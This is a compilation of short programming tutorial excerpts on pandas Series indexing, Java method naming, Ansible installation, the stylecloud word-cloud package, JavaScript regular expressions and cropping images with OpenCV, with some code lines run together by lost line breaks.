Initially, we have created a Series object with labeled index data using a python dictionary with string-type keys and values, and these keys act as our index values.
In this example, we are accessing an element with an address ‘black’ so the resultant output will be seen in the output block.
black   white
body     soul
bread  butter
first    last
dtype: object

Accessing elements by using index labels
white
The output for the label ‘black’ is ‘white’, in the same way, we can access labeled elements from a series. The first block of the above output is an entire series object.
Can a method have the same name as the class?

Yes, you can write a method in Java with method name same as class name. But it is not suggestable because of the following reasons −
Using upper case letter at the starting of the name of the method violates the coding conventions of Java for writing a methods name.
There is a chance of assuming such methods with constructors of the class.
 Live Demo
public class Sample {
   public void Sample(){
      System.out.println("This is a sample method");
   }
   public static void main(String args[]){
      Sample obj = new Sample();
      obj.Sample();
   }
}
This is a sample method
Ansible - Environment Setup

In this chapter, we will learn about the environment setup of Ansible.
Mainly, there are two types of machines when we talk about deployment −
Control machine − Machine from where we can manage other machines.
Control machine − Machine from where we can manage other machines.
Remote machine − Machines which are handled/controlled by control machine.
Remote machine − Machines which are handled/controlled by control machine.
There can be multiple remote machines which are handled by one control machine. So, for managing remote machines we have to install Ansible on control machine.
Ansible can be run from any machine with Python 2 (versions 2.6 or 2.7) or Python 3 (versions 3.5 and higher) installed.
Note − Windows does not support control machine.
By default, Ansible uses ssh to manage remote machine.
Ansible does not add any database. It does not require any daemons to start or keep it running. While managing remote machines, Ansible does not leave any software installed or running on them. Hence, there is no question of how to upgrade it when moving to a new version.
Ansible can be installed on control machine which have above mentioned requirements in different ways. You can install the latest release through Apt, yum, pkg, pip, OpenCSW, pacman, etc.
For installing Ansible you have to configure PPA on your machine. For this, you have to run the following line of code −
$ sudo apt-get update 
$ sudo apt-get install software-properties-common 
$ sudo apt-add-repository ppa:ansible/ansible $ sudo apt-get update 
$ sudo apt-get install ansible

After running the above line of code, you are ready to manage remote machines through Ansible. Just run Ansible–version to check the version and just to check whether Ansible was installed properly or not.

    41 Lectures 
     5 hours 

 AR Shankar

    11 Lectures 
     58 mins

 Musab Zayadneh

    59 Lectures 
     15.5 hours 

 Narendra P

    11 Lectures 
     1 hours 

 Sagar Mehta

    39 Lectures 
     4 hours 

 Vikas Yadav

    4 Lectures 
     3.5 hours 

 GreyCampus Inc.
 Print
 Add Notes
 Bookmark this page
Generate Modern Stylish Wordcloud with stylecloud | by AbdulMajedRaja RS | Towards Data Science

Almost every Text Analytics Project with a need to find insights from Text Corpus would contain a word cloud. But as many of you remember, Wordclouds have got a very boring image and perception in the minds of a data scientist that we always try to beautify them — ultimately giving up in the process — except a few would choose some masking image and then try to get the wordcloud in that shape. That’s the maximum level where most of us would take our wordclouds.
But deep down, all of us have always wished for modern-stylish-beautiful wordclouds. That wish has become true with this new python package — stylecloud by Max Woolf (who’s famously known as minimaxir)
stylecloud is a Python package that leverages the popular word_cloud package, adding useful features to create truly unique word clouds that are stylistic including gradients and icon shapes.
stylecloud is just one pip away
pip3 install stylecloud
stylecloud offers two ways to generate a style-wordcloud:
stylecloud as a CLI command that could be invoked from your Terminal/Shell/Cmd Prompt to generate wordcloud (fast and stylish)
Typical pythonic way of importing the stylecloud package and creating the wordcloud using stylecloud() in the code
For this article, We’ll consider the iconic inaugural address of former US President Barack Obama in 2008 when he was elected as the POTUS.
Download the file — 2009–01–20-inaugural-address.txt— from here
Simply, open your Terminal or Command Prompt and try this below command stylecloud pointing to the file that we downloaded above
stylecloud --file_path 2009-01-20-inaugural-address.txt
This simple command from stylecloud results in this beautiful plot (automatically saved in the same current directory as stylecloud.png)
That’s simple, fast and beautiful isn’t it? ⚑
stylecloud in CLI is for normal humans, but we are coders who like to code in Python . So let’s build the same in Python with the following 2 lines of code.
import stylecloudstylecloud.gen_stylecloud(file_path = "2009-01-20-inaugural-address.txt")
Now, let’s say we don’t want it in the shape of a flag but in the form of twitter logo. After all, this is the age of internet, isn’t it? A little change in the code — just a new argument to give the specific fontawesome icon name would get us the twitter-shaped stylecloud of Mr. Obama’s speech.
stylecloud.gen_stylecloud(file_path = "2009-01-20-inaugural-address.txt", icon_name= "fab fa-twitter")
Now, Let’s change the color palette a bit and also a dark theme (which everyone’s fond of these days)
stylecloud.gen_stylecloud(file_path = "2009-01-20-inaugural-address.txt", icon_name= "fab fa-twitter", palette="cartocolors.diverging.TealRose_7", background_color="black")
That’s real Dark! And if you’re a fan of Linkedin (instead of Twitter), not to leave you behind — here’s your Linkedin Icon-shaped style-wordcloud
Thanks to Max Woolf , We’re gifted with this amazing library stylecloud. We just quickly learnt how to play with this modern-stylish wordcloud generator both as a CLI tool and in Python script. The PNG files and notebook can be found here.
Tryit Editor v3.7

Tryit: Video autoplay
How to test and execute a regular expression in JavaScript?

Following is the code for testing and executing a regular expression in JavaScript −
 Live Demo
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
<style>
   body {
      font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
   }
   .result,.sample {
      font-size: 20px;
      font-weight: 500;
   }
</style>
</head>
<body>
<h1>Testing and executing regular expressions</h1>
<div class="sample"></div>
<div style="color: green;" class="result"></div>
<button class="Btn">CLICK HERE</button>
<h3>
Click on the above button to test and execute the regular expression
</h3>
<script>
   let sampleEle=document.querySelector('.sample');
   let resEle = document.querySelector('.result');
   let str = 'Hello world. This is a beautiful world';
   sampleEle.innerHTML =str;
   let pattern = new RegExp("world");
   document.querySelector(".Btn").addEventListener("click", () => {
      resEle.innerHTML += 'pattern.test(str) = ' + pattern.test(str) + '<br>';
      resEle.innerHTML += 'pattern.exec(str) = ' + pattern.exec(str) + '<br>';
   });
</script>
</body>
</html>
The above code will produce the following output −
On clicking the ‘CLICK HERE’ button −
Crop Image with OpenCV-Python - GeeksforGeeks

10 Oct, 2021
Cropping an Image is one of the most basic image operations that we perform in our projects. In this article, w will discuss how to crop images using OpenCV in Python.
For this, we will take the image shown below. 
cv2.imread() method loads an image from the specified file. If the image cannot be read (because of the missing file, improper permissions, unsupported or invalid format) then this method returns an empty matrix.
Note: When we load an image in OpenCV using cv2.imread(), we store it as a Numpy n-dimensional array.
Example: Python program to read the image
Python3
import cv2  # Read Input Imageimg = cv2.imread("test.jpeg")  # Check the type of read imageprint(type(img))  # Display the imagecv2.imshow('image', img)cv2.waitKey(0)cv2.destroyAllWindows()
Output: 
We can see the type of ‘img‘ as ‘numpy.ndarray‘. Now, we simply apply array slicing to our NumPy array and produce our cropped image, So we have to find the dimensions of the image. For this we will use the image.shape attribute.
Syntax:
image.shape
where image is the input image
Example: Python code to find the dimensions of the image,
Python3
import cv2  # read the imageimg = cv2.imread("test.jpeg")print(type(img))  # Check the shape of the input imageprint("Shape of the image", img.shape)
Output: 
image shape
Now we can apply array slicing to produce our final result.
Syntax :
image[rows,columns]
where
rows are the row slicecolumns is the column slice
rows are the row slice
columns is the column slice
Example:
Python3
import cv2  img = cv2.imread("test.jpeg")print(type(img))  # Shape of the imageprint("Shape of the image", img.shape)  # [rows, columns]crop = img[50:180, 100:300]    cv2.imshow('original', img)cv2.imshow('cropped', crop)cv2.waitKey(0)cv2.destroyAllWindows()
Output: 
Picked
Python-OpenCV
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to Install PIP on Windows ?
Selecting rows in pandas DataFrame based on conditions
How to drop one or multiple columns in Pandas Dataframe
Python | Get unique values from a list
Check if element exists in list in Python
How To Convert Python Dictionary To JSON?
Defaultdict in Python
Python | os.path.join() method
Create a directory in Python
Bar Plot in Matplotlib